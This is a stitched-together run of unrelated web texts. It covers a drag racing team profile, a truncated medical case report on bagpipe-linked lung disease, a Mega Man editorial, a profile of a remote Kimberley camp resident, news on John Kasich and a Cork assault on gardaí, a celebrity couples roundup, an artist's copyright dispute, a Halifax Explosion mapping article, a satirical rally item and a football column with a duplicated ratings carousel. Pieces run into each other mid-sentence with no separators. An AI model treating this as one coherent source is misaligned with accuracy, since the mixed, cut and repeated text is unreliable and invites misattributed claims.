Based in Ypsilanti, Mich., Kalitta Motorsports is a Top Fuel and Funny Car drag racing team in the NHRA (National Hot Rod Association) Mello Yello Drag Racing Series. The team was founded and is owned by drag racing icon Connie “the Bounty Hunter” Kalitta. For more than 50 years, Connie has been involved in the sport as a driver, tuner, and an owner. Kalitta Motorsports is one of the most successful teams in the history of auto racing with six world championships and over 100 national event titles in five different professional drag racing sanctioning bodies since it was established by Connie in 1959.
Team Kalitta fields five full-time entries in the NHRA Mello Yello nitro classes. Connie Kalitta’s nephew, Doug Kalitta, pilots the Mac Tools Top Fuel dragster; Auto Club Road to the Future candidate Troy Coughlin, Jr. drives the SealMaster Top Fuel dragster; former Top Fuel champion Shawn Langdon is the driver of the Global Electronic Technology Top Fuel Dragster; J.R. Todd is the driver of the DHL Toyota Camry Funny Car and Alexis DeJoria pilots the Tequila Patrón Toyota Camry Funny Car. Connie Kalitta serves as head tuner for all Team Kalitta entries. He is assisted by co-crew chiefs Jon Oberhofer and Todd Smith on the DHL Toyota Camry Funny Car, Nicky Boninfante and Tommy DeLago on the Tequila Patrón Toyota Camry Funny Car and Rob Flynn on the Global Electronic Technology Top Fuel dragster. Jim Oberhofer leads the efforts on both the Mac Tools Top Fuel dragster and the SealMaster Top Fuel dragster. He is assisted by Troy Fasching on the Mac Tools dragster and Glen Huszar and Nick Casertano on the SealMaster Top Fuel dragster.
Associate sponsors on Kalitta Motorsports’ race cars include ARP, AutoDesk CAM, Champion, Cogistics, Darton Sleeves, DHL, Global Electronic Technology, JEGS, Justice Brothers, Kalitta Air, Mac Tools, Racing Electronics, Red Line Oil, SealMaster, SPY Optic, Technicoat Companies, Tequila Patrón, TMS Titanium, Toyota, WIX Filters and Ziebart.Hypersensitivity pneumonitis (HP) is an inflammatory lung disease mediated by an immunological response to an inhaled antigen and can progress to disabling or fatal lung disease. It is related to occupational or other environmental exposures. In a significant proportion of patients, the antigen is often difficult to identify from the clinical history.1 This case highlights the importance of a careful clinical history including hobbies, because in this case, playing the bagpipes, we feel, was very relevant to the development of HP. We were able to isolate various fungal species from the bagpipes. There have been isolated case reports of musicians developing HP.2,3 Clinicians need to be aware of this potential trigger for developing HP, and wind instrument players need to be aware of the importance of regularly cleaning their instruments to minimise this risk.
Case presentation
A 61-year-old man was referred to the interstitial lung disease (ILD) clinic in April 2014 with a 7-year history of dry cough and progressive breathlessness despite immunosuppressive therapy, leading to a reduction in exercise tolerance from over 10 kilometres to 20 metres. He had a prior diagnosis since 2009 of HP based on high-resolution CT (HRCT) and biopsy findings from his referring hospital. He did not have any exposure to birds or pigeons. His house showed no evidence of mould or water damage, and he had no symptoms of connective tissue disease. The precipitating trigger for his HP was unknown. His symptoms were insidious and progressive, with the exception of a 3-month period in 2011 when he went to live in Australia. He reported that during this time his symptoms rapidly improved and that he was able to walk 10 kilometres on the beach without stopping. On returning to the UK, his breathing deteriorated rapidly. There was no significant medical history. He …Editorial: What Mega Man Means to Me
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It was 30 years ago that the Blue Bomber made his way into our lives. Since then, he became one of Capcom’s major franchises and after years of neglect, Capcom FINALLY announced Mega Man 11 for the Nintendo Switch, Playstation 4, Xbox One and PC via Steam. While there were mixed reactions to the announcement, Capcom’s newly rekindled devotion to the series was a shot in the arm that the Mega Man community had been patiently (or impatiently) waiting for.
I’ve been a Mega Man fan for the better part of those 30 years. Since The Outerhaven gives me this wonderful platform to voice my opinions, I wanted to do something for the 30th anniversary of Mega Man. At first, I contemplated ranking every single Mega Man game out there, but felt that would be a huge undertaking. I had only played some of the games in the series a handful of times, such as Mega Man Zero, Mega Man ZX and Mega Man Legends. While I have completed all of those games, I hadn’t replayed them as much as games in the classic or X series. Because as such, I didn’t believe that I had a strong enough grasp on the later entries to truly be qualified to rank them.
The next thought would be to do my own person Top 10 list, but after reflecting on that decision, I realized that, while popular and often considered clickbait, Top 10 lists are just overdone and didn’t really fell all that original.
So, I decided on just speaking from the heart. I wanted to take this opportunity to use this platform to just express what the Mega Man franchise means to me.
It all started back in 1990 for me. I have a life-long friend by the name of Jonathan that used to come hang out at my house often. His mom and my mom have been friends for over fifty years and when he was two years old, his mother brought him to the hospital when I was born and we’ve been friends ever since. I have been alive on this Earth for 36 years and I am proud to say that he’s been a friend for all 36 of them. I bring him up because it was he who had got me interested in Mega Man.
He spent the night at my house one and, as boys do, we would waste the night away playing video games or watching movies. He brought over Mega Man 3 for the NES and I just sat there and watched him play it as he hogged my TV and my Nintendo console. The first robot master I saw him take on was Magnet Man. Everything from the run and gun action, the level design and the boss fight intrigued me. I loved the music I heard, the sound effects and the fact that when you beat a boss, you got their weapon. All of it just enthralled me to the point where I begged my mom to buy the game for me. She did and I remember sitting there playing it over and over again.
As the years went on, my mom, once again, bought me Mega Man 4, 5 and 6. Years later (1997 to be exact) when I got an afterschool part-time job, there was a mom and pop video game trading store in the local mall and they had like-new carts of Mega Man and Mega Man 2 for like five bucks each. I had loved the series so far so I wanted to pick those carts up and try out the first two games. While I missed the slide and the Mega Buster, I still had a ton of fun. I was actually shocked that the first game had a scoring system as none of the other games had the component. Even though there was a score at the top of the screen, there wasn’t a place to put your initials when you got a game over or you beat the game. I often wondered what the point of the scoring system was and still do to this day.
Back tracking a bit to 1993, I remember taking a trip down to Florida to visit my grandparents. While I live in Florida now, I used to live in Massachusetts. This was also the year Mega Man X came out for the Super Nintendo. I remember seeing Mega Man X on the cover of an issue of Nintendo Power and I was thoroughly confused.
Keep in mind that the box art for the classic games used numbers to indicate the sequels (i.e. Mega Man 2), but the title screens on the game used roman numerals (i.e. Mega Man II). When I saw Mega Man X, my feeble little immature brain thought that it was Mega Man 10. I actually went to Blockbuster video and searched high and wide for Mega Man 7, 8 and 9, but was disappointed when I couldn’t find them anywhere. I wasn’t the only one who thought this either because several of my friends thought the same exact thing.
Upon actually READING the article (because at that age, let’s face it… you looked at the pretty pictures and not the words on the page… or at least I did), I realized that this was a brand-new series set in the future beyond the classic series. My mom, again, bought it for me while we were in Florida. The biggest problem was that my Super Nintendo was back up in Massachusetts so I had no way to play the game until we returned home from our trip. I remember starting at the box art just chomping at the bit to play it. I must have read that instruction manual at least fifty times within the one-week period we were down in Florida on vacation. After all, it was the closest I could get to playing the game so I had to take what I had been given for the time being.
I remember coming home and rushing to my room. I didn’t care about unpacking or anything. It was about 11pm at night when we got in and I was still on holiday break from school so I didn’t care one bit about pulling an all-nighter. I slammed that cart into my Super Nintendo and played until my body gave out from exhaustion and fell asleep.
These are some of the fondest memories I have of the series. As time went on and just bought my own games because pre-college financial independence, my love for the series just grew and grew. I became extremely fond of the Battle Network series because it was a whole new spin on the franchise and, at the time, I was REALLY getting into computers and technology so the fact that everything was set in a digital age where you could traverse the internet using Net Navis really captured my attention. You could imagine my elation in 2007 when my friend turned me onto anime and I discovered there was a show based off of Battle Network. In America, it was referred to as Mega Man NT Warrior… in Japan, it was known as Rockman.EXE. I’m kind of miffed that the third, fourth and fifth seasons never got an English dub… especially Rockman.EXE Stream as I felt that was the best season out of the entire series.
30 years later, my love for the Mega Man franchise still burns brighter than ever. Not including the recent Mega Man 11 announcement, I’m just two games away from owning every single U.S. released Mega Man game. I’m missing Mega Man 64 (although I technically have it in the form of Mega Man Legends) and Mega Man for the Sega Game Gear. Once I collect those, I’ll start working on foreign titles such as Mega Man the Wily Wars for the Mega Drive, Rockman.EXE Operate Shooting Star for the Nintendo 3DS and so forth.
Funnily enough, I have Ryuusei no Rockman 2 (Mega Man Star Force 2) because Capcom stated that the game would not be coming to the West. Sure enough, right after I import them, they announced it was coming to the U.S. after all so now I have both the English and Japanese versions of the game. FYI… the Japanese versions are still sealed in shrink wrap! I also have Rockman.EXE 3: Black for the Game Boy Advance simply because it was named a different color even though it’s the same game!
Yep… I own a copy of each of these!
I also own a ton of action figures, some of which are still sealed in their original packaging, the Ruby Spears cartoon on DVD, the Wish Upon a Star OVA from Japan, the entire Mega Man NT Warrior manga set and I even went as far as to get the Mega Man Star Force series on DVD. I say “went as far” because that DVD was only released in Europe so it is a PAL version of the anime. I actually looked up the code sequence for my Panasonic DVD player to access the region settings and set it so that it would read the disc! I have a lot of odds and ends things as well with the life-sized replica helmet as my latest acquisition. Maybe one day when I’m insanely bored, I will assemble my entire collection and snap a photo. Some of my stuff is boxed up in order to make room for new stuff so it would take me hours to sift through and locate everything and I know that I’m going to think I have it all, take the picture, put it all away and discover I left something out.
In conclusion, I hope you made it all the way through this long ramble, but I just wanted to tell my story of how Mega Man became a part of my life and why I am happy and proud to celebrate three decades of the Blue Bomber!
Feel free to leave a comment below about some of your fondest memories of Mega Man!
If you feel inclined, give me a follow on Twitter @TheAnimePulseDon McLeod at his camp on the Drysdale River in the Kimberley
For most people, living alone at an isolated river camp with only saltwater crocodiles for company would be a nightmare, but for Don McLeod it's paradise.
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Mr McLeod is a former farmer who lives on the Drysdale River on a remote stretch of the east Kimberley coast in Western Australia's far north.
His home is an old fishing camp about two hours by boat from the Aboriginal community of Kalumburu — itself a remote and challenging place to reach.
Initially Mr McLeod helped with fishing charters but now he is retired and at the age of 70 he cannot imagine living anywhere else.
"I'm always very satisfied here, very content," he said.
"I just look out over the river and I see the things going by.
"The longer you stay here you see that you're part of a little community.
"There's wallabies, there's ducks, there's geese, little lizards, the same ones here all the time."
Share Don McLeod in his boat on the Drysdale River in the Kimberley
The Drysdale River is indeed picturesque, with smooth red rocks juts into tranquil dark water teeming with fish.
But the river is home to saltwater crocodiles whose constant presence are a reminder of the dangers which lurk beneath the surface.
One particular 5 metre salty who lives close to the camp has been affectionately named George by Mr McLeod.
I overstayed my time in the mangroves getting a crab and there was a huge crocodile right on my tail. Don McLeod
"It's mutual respect. We've had visitors here the past few days, so he's very curious with all these people around," he said.
"He's always hoping someone's going to make a silly mistake and fall in."
Mistakes do happen, admitted Mr McLeod, with one such incident occurring not so long ago.
"I overstayed my time in the mangroves getting a crab and there was a huge crocodile right on my tail," he said.
"I reckon another couple of seconds he'd have had me. He was a really big animal, bigger than George.
"Coming across with his head up out of the water and going like a rocket, so I jump rolled over into the bottom of the boat.
"He let out a growly sort of hiss and I stood up with a spear and he sort of slid off into the mangroves. It gave me a hell of a fright I can tell you."
Share Don McLeod says living on the Drysdale River brings him a sense of deep contentment.
Mr McLeod's camp is situated 17km up the river, at the limits of the Drysdale's navigable waters.
The central living area consists of a long table and hammock underneath a corrugated tin roof held up by salvaged mangrove poles.
A basic kitchen contains a gas hob and pair of freezers and power is supplied via a combination of solar and diesel generator.
As to be expected, luxury furnishings are far and far between, but there are most things one would need to seek out a simple life in the bush.
There is even an old satellite dish left over from the days when Mr McLeod's grandson Donny used to live with him and attended School of the Air.
While he is virtually self-sufficient, he still relies on an annual diesel delivery by barge, along with the odd item such as flour or dishwashing liquid from visitors.
Protein is no issue though, with plenty of fish and a mob of feral cattle nearby providing a killer once or twice a year.
Share Don McLeod built his camp out of mangrove poles and salvaged materials.
"They are the cattle that came over with the first pioneers," Mr McLeod said.
"A lot of them are quite in bred and run out. I've thinned out the bulls and any sickly cows.
"Some of them are fat. You render the fat down on these animals on the salt country and it stays like canola oil, just yellow.
"You can fry with it and make bread. Just like oil it doesn't set.
"The problem here with the crocs is when they (the cattle) walk along the beach they take the easy road and the crocodiles intercept them.
"They thin them out substantially, the smaller ones. Even the big cattle they'll take now. There's some massive crocs out there."
Mr McLeod said a person must be resourceful to survive in the wilderness, as there were also bushfires and floods to contend with.
"Sometimes you don't see people for months at a time," he said.
"Things go wrong. You must be able to repair your boats, restore things, sow stuff, fix your nets, fishing gear. Yeah, they're always something to do."
Share Don McLeod's kitchen is basic but it has everything he needs to live in a remote location.
Despite the obvious challenges, he said he never got lonely and could not bear the pressures of town life any more.
"Here I can hear the birds up in the swamp, the red bills and the geese," he said.
"I can hear bulls singing out, which I like to hear, I can hear dingoes, I can see the fish...all the things I like are concentrated in this area.
"Everyday's different, the scenery's different... I go away, I last about three weeks and then I've got to come back."Republican presidential candidate Ohio Governor John Kasich holds a press conference with reporters during a visit to the Republican National Committee (RNC) Spring Meeting on April 20. | Getty Kasich on Cruz alliance: 'What's the big deal?'
Ohio Gov. John Kasich got testy with reporters Monday as he defended his campaign's decision to cede Indiana to Ted Cruz's campaign in exchange for New Mexico and Oregon in order to try to stop Donald Trump from getting the necessary number of delegates before the convention.
“Now, you know the fact is we don’t have all of the resources in the world, but we’re still going. And we have to husband our resources and I feel that it’s very fair for me to be able to go to areas where I can spend my resources most effectively, and the same is true for Sen. Cruz. What’s the big deal?" Kasich asked, as he sat down to eat at a Philadelphia diner, which was being broadcast on all three cable networks. "We’re going to go to a convention, it’s going to be an open convention, and then the delegates will pick that person who can do the best in the fall.”
Asked whether the tactic represents an "act of desperation," Kasich snapped at a reporter, "Me? No, I'm not desperate. Are you? 'Cause I'm not."
"If you people keep yelling at me, I'm not going to answer the question," Kasich said, as reporters asked him multiple questions at once. "Have a little bit of civility when you do your job."
Explaining how the agreement came about, Kasich said his campaign met with their Cruz counterparts, and they made a recommendation.
"I said I think it's fair because, you know, in some places we haven't spent a lot of resources," he continued. "I didn't spend resources in the state of Wisconsin. Minor amount of spending. I don't have, you know, like Daddy Warbucks behind me giving me all this money. I have to be careful about my resources, but furthermore, the reason why I'm in this race, is I'm the only one that beats Hillary Clinton."
Kasich said he would "do everything I can to make sure that we don't lose the United States Senate, the Supreme Court, the state and the local courthouse."
"I don't see this as any big deal other than the fact that I'm not going to spend resources in Indiana, he's not going to spend them in other places. So what? What's the big deal?" Kasich asked again. "
The Ohio governor did not, however, say he would be telling his Indiana supporters to vote for Cruz instead of him.
"I've never told them not to vote for me, they should vote for me. I'm not over there campaigning and spending resources. We have limited resources," he said. "Mine is like the people's campaign. I have a campaign where, you know, we've been outspent basically 50 to 1. You folks have been counting me out before I even got to New Hampshire. And now we can't jam all of you into this diner. I mean, everybody chill out."
When a reporter asked what he would tell voters who felt that such tactics made them feel as if they did not have a total say in the nominating process, Kasich was firm.
"They have a total say. Get a majority of the delegates — which people? My people don't feel that way. Who is it that feels — all you got to do is get the right number of delegates and then you win. If you can't get the right number of delegates, you don't win, and then the delegates who are selected through a democratic process get to choose," he said. "What's wrong with that?"
"Not a big deal," Kasich said later, as he began to chow down on his eggs. "But it's fun, though. You're all still here."
Chuckling, he added, "By the way, I'm having the time of my life. I met so many people here today, wonderful people in Philadelphia," remarking that he is looking forward to Tuesday's primary and campaigning later Monday night in his hometown of McKees Rocks, Pennsylvania.Gardaí have arrested four men and a woman and are looking for another suspect following an incident where two officers were attacked and hit with stones and rocks in east Cork.
The incident happened when gardaí on patrol stopped two men walking on the road at Mount Uniacke outside Killeagh in east Cork around 11.30pm on Sunday.
The two gardaí were talking to the men when a car pulled up. When gardaí went to the car to make inquiries they were attacked by the car’s occupants.
A garda sergeant was hit on the head by a rock which fractured a bone near his eye, while his colleague suffered cuts and lacerations to the head when he was hit by stones.
The garda patrol car was also rammed.
The occupants of the car and the men on the road took off as the two injured gardaí called for assistance. The car then rammed another garda patrol car at Mount Uniacke Village.
The gardaí were taken to Cork University Hospital, where both received treatment for their injuries. The garda sergeant was detained in hospital for observation while his colleague was discharged.
Gardaí from Midleton identified the men as coming from the Dungourney area and there was a stand-off for several hours as gardaí sought to arrest a number of suspects.
Armed members of the Regional Support Unit provided back up during the stand-off, which lasted over two hours before four men and a woman gave themselves up.
The group was arrested and brought to Midleton, Fermoy and Cobh Garda stations for questioning.
Gardaí also seized a number of weapons, a car and cash following the stand-off.Get the biggest celebs stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
So it seems 2014 is the year of coming out for women.
In the last week we've had Juno star Ellen Page publicly come out, and now Cara Delevingne and Lost actress Michelle Rodriguez have announced they are an item.
After generations of gay women in the public eye feeling unable to be publicly proud of their sexuality, now is the time of the...Celesbian.
Ellen DeGeneres and Portia de Rossi
(Image: WENN)
After Ellen's bold coming out in 1997 on her prime-time US television show, she dated bisexual actress Anne Heche before they split in 2000.
Around the same time, she met Ally McBeal star Portia de Rossi, 41.
But nothing happened until 2004 when they bumped into each other at a photo-shoot.
Of meeting Ellen, 56, Portia recalled: "She took my breath away.
"That had never happened to me in my life, where I saw somebody and experienced all of those things you hear about in songs and read about in poetry.
"My knees were weak."
The couple, who married in 2008, have denied recent claims their relationship is on the rocks and earlier this year, DeGeneres surprised Rossi with a £96,000 car.
Clare Balding and Alice Arnold
(Image: WENN)
BBC presenter Clare and former Radio 4 newsreader Alice first met during the 1990s.
They got together around 2002 and the following year, were outed when they attended the premier of movie Seabiscuit.
Speaking last year, Alice, 51, said: "Clare and I met about 13 years ago.
"We became friends.
"To be honest, I didn't take much notice of her.
"A few years later when we were both available, Clare was there.
"We fulfilled the girly pattern of moving in with each other more or less straight away and never looked back."
The couple had a civil partnership in 2006 and have expressed their intention to wed once gay marriage becomes legal.
Clare, 43, said: "As far as marriage is concerned, I'd like to marry for the verb.
"The civilly partnered phrase is a bit unwieldy.
"Otherwise I can't see it making any difference to us."
Cynthia Nixon and Christine Marinoni
(Image: Barcroft)
Sex and the City star Cynthia Nixon met education activist Christine at a fundraiser in New York City in January 2004.
Cynthia, 47, who has two children from a previous relationship, announced her engagement to Christine in May 2009 and in 2011, Christine gave birth to their son, Max Ellington Nixon-Marinoni.
Of their relationship, Cynthia said: "I never felt like there was an unconscious part of me around that woke up or that came out of the closet.
"There wasn't a struggle, there wasn't an attempt to suppress.
"I met this woman, I fell in love with her, and I'm a public figure."
Alice Walker and Tracy Chapman
(Image: Rex)
The Color Purple author Alice Walker, 70, was in a relationship with notoriously shy singer Tracy Chapman.
Their relationship was kept out of the headlines but speaking in 2006, Alice spoke fondly about her relationship with the 49-year-old Fast Car star.
She said: "Why was it kept so quiet at the time?
"It was quiet to you maybe but that's because you didn't live in our area."
Asked why they didn't make more of their relationship in public, Alice continued: "It was delicious and lovely and wonderful and I totally enjoyed it and I was completely in love with her but it was not anybody's business but ours."
Lindsay Lohan and Samantha Ronson
(Image: WENN)
Troubled actress Lindsay Lohan started seeing DJ Samantha Ronson in 2008.
The 27-year-old Mean Girls actress seemed smitten in their relationship and speaking about their romance, Lindsay said: "People can think what they want.
"I'm really happy, and that's all that matters."
But things soon took a turn for the worst and in October 2009, their previously happy union unceremoniously ended for good in a Twitter tirade, in which Lindsay accused her of doing "nothing but break my heart".
Madonna and Sandra Bernhard?
(Image: WENN, Barcroft)
One of the biggest "are they, aren't they?” couples of the last three decades.
American comedian Sandra, who has been open about her bisexuality for years, was the Material Girl's BFF during the 1980s.
Their relationship was so close many speculated they were an item.
Speaking on the David Letterman show in 1988, Sandra did little to dispel the rumours when she told the host she had slept with Sean Penn – Madonna's then-husband – and then turned to Madonna and said: "You were much better."
But more recently Sandra has denied the former friends – they no longer speak after Madonna stopped contact - were ever romantically involved.
She said: "Madonna and I had a fun time and it was a great friendship, but I don't miss her particularly."
And asked if they did have an affair, she responded: "No, we were just friends."Artist Finds Fame in Feminism, 90s Culture and Punk Rock
Artist Sara Lyons pushes on after major retailer rips off her designs
Adam Ernesto Fuentes Blocked Unblock Follow Following Nov 13, 2014
Story by Adam Ernesto Fuentes and Sabrina Hernandez
Southern California illustrator Sara M. Lyons, 29, has found much success online with her stylish brand of nail decals, posters, and postcards reminiscent of the punk rock, vice, pop culture and femininity of the 90s. Her work has gained much traction in the UK where Urban Outfitters widely distributes and sells her merchandise across Europe. Lyons is a regularly featured artist in Nylon Magazine and Emerging Thoughts. Her iconic illustration Whatever Forever became her breakthrough image selling out quickly in limited edition t-shirts.
Whatever Forever print by Sara Lyons (top) Brandy Melville T Shirt (Bottom)
When Whatever Forever began to circulate on Tumblr, Lyons could not keep track and the image was stolen, reproduced, and used in merchandise without her legal consent. The image began to appear on doll clothes, t-shirts, and blog posts without credit to Lyons and in some cases, her signature removed. “I deal with that image being lifted almost everyday on something — on someone’s T-shirt line, or someone’s iPhone case, or someone trying to sell it on something on the Internet all the time,” Lyons said.
Contemporary artists braving the web as a platform for their work are pioneers in the obscure medium of digital art. The prevalence of art in major social media outlets like Tumblr, Reddit, and Twitter have reduced the work of graphic artists to nothing more than a copy, of a copy, of a copy. The ideas of an individual are tagged, shared, tweeted and retweeted until the original artist has been discredited and the original meaning of their work is lost to the masses. Modern artists now face a dilemma: get their work out to the world and risk intellectual theft, or guard it so closely that no exposure or income is gained.
Eventually the design appeared on a t-shirt sold by Brandy Melville in 2013. The wildly popular Italian clothing brand markets itself through social media and word of mouth with over two million followers on Instagram alone. Recently, Brandy Melville has been steeped in controversy for selling clothes exclusively for thin girls.
“They make as much money as Forever 21 and have millions of rabid fangirls. They have enough money to pay an artist and instead of paying an artist, they chose to actively steal mine and other artists’ works. When this was happening to me, I talked to people who work for other clothing companies and everyone knows that’s what they do —they steal artwork.” — Sara Lyons
Lyons quickly contacted the Brandy Melville representatives but after a month of empty promises, the clothing tycoon stopped responding to her phone calls and emails. The issue was never resolved because Lyons was not able to financially afford to take legal action. According to Lyons, all the shirts were pulled from the online stores; an action she believes was meant to hide the wrongdoing.
“Dude, I live in Southern California, I can walk into your store and buy it,” she said.
A series of other reproductions of that image by other lesser-known clothing brands ensued.
“Honestly, its funny how that became a popular drawing because it’s something I drew in half an hour to kill time. It was never intended to be anything.”
Despite the seemingly light-hearted and stoic message of Whatever Forever, the image came from a troubled time in Lyons’ life. When she first began to work as an artist she suffered from serious depression and anxiety. Drawing was something she was able to use as a distraction.
“I did a lot of stuff at that time coming from an angry place that translated as really light-hearted because that is my style, my aesthetic, I use a lot of pink and everything is kinda cute but a lot of that stuff came from dealing with
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greater the required repairs as a percentage of the original value of the building. Grey circles indicate buildings for which there was no original value or no repair cost indicated.
The map provides a never-before-published digital view of the damage field from the explosion, out to two kilometres from the epicentre. Click on the buildings and circles for more detailed information on each location, including its approximate distance from the explosion. Zooming closer will reveal rich detail, while the wide view shows the pattern of devastation.
(Access a legend by clicking on the arrows at the top of the map)
Streets shown in black on the map above represent the street pattern of 1917. The underlying map shows today’s street pattern. Information on damage in Dartmouth could not be mapped because records kept for Dartmouth did not include street numbers.
Mapping loss of life
The human cost of the tragedy was incalculable.
People who had rushed down to the waterfront to watch the burning Mont-Blanc perished instantly; those watching through the windows of homes and other buildings were killed or blinded when windows exploded inward.
The remembrance book maintained online by the Nova Scotia Archives currently lists 1,835 known victims. Of those listed, fully half had addresses on just five streets: Barrington, Veith, Albert, Union and Duffus. Twenty-two per cent had addresses on Barrington Street.
The book of remembrance lists 612 victims known to have been 17 or under.
Those who died came from all over Halifax, as well as more than 60 from Dartmouth.
“The explosion affected everyone in the city,” said Glenn Taylor, who has been researching Halifax history as a hobby for years.
At the time of the explosion, 50,000 people lived in Halifax; which means more than 23 per cent of the residents were directly affected by the tragedy.
It’s the equivalent of 95,000 dead or injured in such a disaster today, based on the current population of Halifax.
“Everyone knew someone who was hurt, blinded or even killed in the explosion. Not only did they know someone, but they also saw the bodies on the streets and the houses burnt down,” said Taylor.
This map shows the addresses of those who died, lived in Halifax and for which street numbers are listed in the book of remembrance. Clicking each dot shows the number of those who died who lived at that address.
Families around the world felt the stinging loss from the explosion, as people from 12 foreign countries died, most of them crew members on ships that were in the harbour at the time.
Almost half died on the SS Curaca, according to the Maritime Museum of the Atlantic’s webpage Ships of the Halifax Explosion. The ship was a British general cargo vessel. Of 45 crew that died on the ship, 38 were from outside of Canada. The vessel sank at Tufts Cove, where it was found a year after the explosion. The crew were trying to load horses on the ship when the explosion occurred.
With reporting by Gabriele Roy and Menglu Xu*This story has been updated.
In a stunning development surrounding the Monument Avenue debate, Richmond is bracing for yet another demonstration at the statue of Robert E. Lee on October 7. According to sources close to RVA Mag – along with a Facebook event page – demonstrators plan on gathering in solidarity to let out the longest “Yea Boi” ever heard.
Yelling “Yea Boi” has a storied history, one that is steeped in mystery and antiquity, but was most recently popularized by rap legend Flavor Flav, who made the expression his signature trademark. The phrase can be used in a plurality of formats, such as “should we take down Confederate statues?”, which would be followed by a long form “Yea Boi” to signify agreement.
Unlike the most recent rally planned by neo-Confederates, which only attracted seven supporters, the Yea Boi demonstration already has 1,700 confirmed attendees with another 9,400 interested – potentially making this one of the largest displays of unity in Richmond’s history.
The event on October 7, however, will not be without some degree of controversy. In 2015, Kondwani Sichinga, a student from Zambia, sat down and over the course of 30 glorious seconds recorded the longest known ‘Yea Boi’ in current existence. The video, now viewed around 12 million times, has become a world wide sensation, spawning countless memes, renditions, and internet knock-offs. In an interview with New York Magazine, Kondwani himself was quoted as saying, “I’ve seen the remixes and I’m quite proud I started something like this.”
Nonetheless, the event in Richmond is shaping up to be quite the media circus with Yea Boi RVA merch already being advertised on various forums. According to the event page, participants are to arrive at 6pm with the “Yea Boi” to start in earnest at 615pm. It is currently unclear what preparations the city has put in place to accommodate such a “Yea Boi” or if various law enforcement agencies have provided guidance on how to handle this sonic spectacle.
Yea Boi.
*As of early this week, this event has been canceled by its organizers.ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
It brings it home to you how much Manchester United’s rivalry with Arsenal has dwindled over the last 11 seasons when you tot up the head-to-head going back to the start of the 2004-2005 season. I make it 17 wins for United, five draws and six wins for Arsenal. Mind you, I’m including in those six Arsenal wins the 2004 Community Shield and the FA Cup final the following May that they won on penalties.
I still can’t let that 2005 Cup final go. We should have won it.
When United face Arsenal on Monday in the FA Cup at Old Trafford, it is hard to see Arsenal winning even though it has been far from a great season for Louis van Gaal’s team. Cup games are always different but on a wider note, I think it will also be United against Arsenal for fourth place over the next 10 games in the Premier League. Liverpool look to me like the best bet for third. They are certainly playing better football than either United or Arsenal.
When it came to playing Arsenal over the last eight years of my career at United, we always went into games against them feeling like we would win – and we usually did. Years earlier I played in the 6-1 win over them at Old Trafford in February 2001. When you look back on that Arsenal team there were some good players and the next season they won the title, beating us at Old Trafford. Since 2004, the decline has been obvious.
I was a substitute for the two Champions League semi-final legs against them in 2009 when United won home and away. We blew them away at the Emirates in the second leg and won 3-1. Our team had pace and power, especially in Cristiano Ronaldo and Wayne Rooney. Arsenal wanted to be like Barcelona but they just were not as good. We always felt we could get at them.
QPR v Arsenal - player ratings 13 show all QPR v Arsenal - player ratings 1/13 Rob Green: 6 Put under pressure much more in the second half. Difficult to criticise him for the two Arsenal goals. If it wasn’t for him the difference between the sides would have been greater. A strong save to deny Ozil late on. GETTY 2/13 Darnell Furlong: 5 Similar to Yun, he chose to push forward and attack the right flank. Very good range of passing too. Defensively, though, he was poor. That was proven when Sanchez easily skipped past him before scoring Arsenal’s second. GETTY 3/13 Sandro: 6 Did well on his return back from a knee injury. Looked to progress play where possible and fed Austin particularly well. Tired in the second half and was replaced by Niko Kranjcar on 56 minutes. 4/13 David Ospina: 6 Relatively comfortable evening. Austin’s shots on target were in the centre of his goal and didn’t trouble the goalkeeper. Beaten by a beautiful effort by the striker - may have done a little better. Getty 5/13 Kieran Gibbs: 7 Linked up very well with Sanchez in the second half. His penetrating runs down the left made it difficult for Furlong. 6/13 Per Mertesacker: 6 Back in central defence after he was on the substitutes’ bench against Everton. He did well against the physical Zamora. GETTY 7/13 Gabriel Paulista: 5 Struggled with the presence of Zamora. He was replaced on 36 minutes by Laurent Koscielny due to injury. GETTY 8/13 Hector Bellerin: 6 Got the better of Yun on the left side of the QPR defence numerous times. He was allowed plenty of space on the overlap but his final ball was often poor. GETTY 9/13 Tomas Rosicky: 6 Misplaced pass. Marked well by Hoilett. His creativity was stifled in the first half but in the second he found a slightly better range of passing. Getty 10/13 Francis Coquelin: 6 His first match since sustaining a broken nose in the home win against Everton. The game seemed to bypass him at times. Getty 11/13 Mesut Ozil: 7 Started the attack that led to Arsenal’s opening goal. Positioned behind Giroud, the German became more important as the game wore on. GETTY 12/13 Olivier Giroud: 7 Not particularly convincing in the first half. He chose more often than not to fire aimlessly from outside the area. That changed in the second half. His goal set Arsenal on their way. Getty 13/13 Alexis Sanchez: 8 More of a threat in the second half as he started to cut in from the left. Roamed all over Arsenal’s attack. He should have scored when he was one-on-one with Green. Redeemed himself when he doubled his side’s lead on 70 minutes after skillful play. Getty 1/13 Rob Green: 6 Put under pressure much more in the second half. Difficult to criticise him for the two Arsenal goals. If it wasn’t for him the difference between the sides would have been greater. A strong save to deny Ozil late on. GETTY 2/13 Darnell Furlong: 5 Similar to Yun, he chose to push forward and attack the right flank. Very good range of passing too. Defensively, though, he was poor. That was proven when Sanchez easily skipped past him before scoring Arsenal’s second. GETTY 3/13 Sandro: 6 Did well on his return back from a knee injury. Looked to progress play where possible and fed Austin particularly well. Tired in the second half and was replaced by Niko Kranjcar on 56 minutes. 4/13 David Ospina: 6 Relatively comfortable evening. Austin’s shots on target were in the centre of his goal and didn’t trouble the goalkeeper. Beaten by a beautiful effort by the striker - may have done a little better. Getty 5/13 Kieran Gibbs: 7 Linked up very well with Sanchez in the second half. His penetrating runs down the left made it difficult for Furlong. 6/13 Per Mertesacker: 6 Back in central defence after he was on the substitutes’ bench against Everton. He did well against the physical Zamora. GETTY 7/13 Gabriel Paulista: 5 Struggled with the presence of Zamora. He was replaced on 36 minutes by Laurent Koscielny due to injury. GETTY 8/13 Hector Bellerin: 6 Got the better of Yun on the left side of the QPR defence numerous times. He was allowed plenty of space on the overlap but his final ball was often poor. GETTY 9/13 Tomas Rosicky: 6 Misplaced pass. Marked well by Hoilett. His creativity was stifled in the first half but in the second he found a slightly better range of passing. Getty 10/13 Francis Coquelin: 6 His first match since sustaining a broken nose in the home win against Everton. The game seemed to bypass him at times. Getty 11/13 Mesut Ozil: 7 Started the attack that led to Arsenal’s opening goal. Positioned behind Giroud, the German became more important as the game wore on. GETTY 12/13 Olivier Giroud: 7 Not particularly convincing in the first half. He chose more often than not to fire aimlessly from outside the area. That changed in the second half. His goal set Arsenal on their way. 